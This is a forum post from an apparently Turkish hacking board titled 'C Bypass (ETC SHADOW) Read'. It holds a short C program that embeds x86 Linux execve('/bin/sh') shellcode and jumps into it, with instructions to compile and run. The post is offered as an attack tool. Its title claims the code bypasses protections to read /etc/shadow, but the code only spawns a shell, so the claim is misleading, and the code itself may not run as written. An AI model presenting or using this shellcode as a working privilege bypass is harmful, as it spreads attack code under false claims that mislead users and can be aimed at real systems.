.C Bypass (ETC SHADOW) Read

Katılım
13 Ara 2015
Tepki puanı
3,307
Rating - 0%
Kullanimi:gcc file.c
./file.out

Kod:
#include <stdio.h>
#include <string.h>

unsigned const char sc[] =
    "\x31\xc0"    //xor    %eax,%eax
    "\x99"    //cltd
    "\x68\x2f\x73\x68\x78"    //push   $0x7868732f
    "\x68\x2f\x62\x69\x6e"    //push   $0x6e69622f
    "\x89\xe3"    //mov    %esp,%ebx
    "\x88\x43\x07"    //mov    %al,0x7(%ebx)
    "\x50"    //push   %eax
    "\x53"    //push   %ebx
    "\x89\xe1"    //mov    %esp,%ecx
    "\xb0\x0b"    //mov    $0xb,%al
    "\xcd\x80"    //int    $0x80
;

int main(void){
    printf("Shellcode lenght: %d\n", strlen(sc));
    __asm__ ("jmp sc");
    return 0;
}
 
131,500Konular
3,268,765Mesajlar
315,296Kullanıcılar
lingranSon Üye
Üst Alt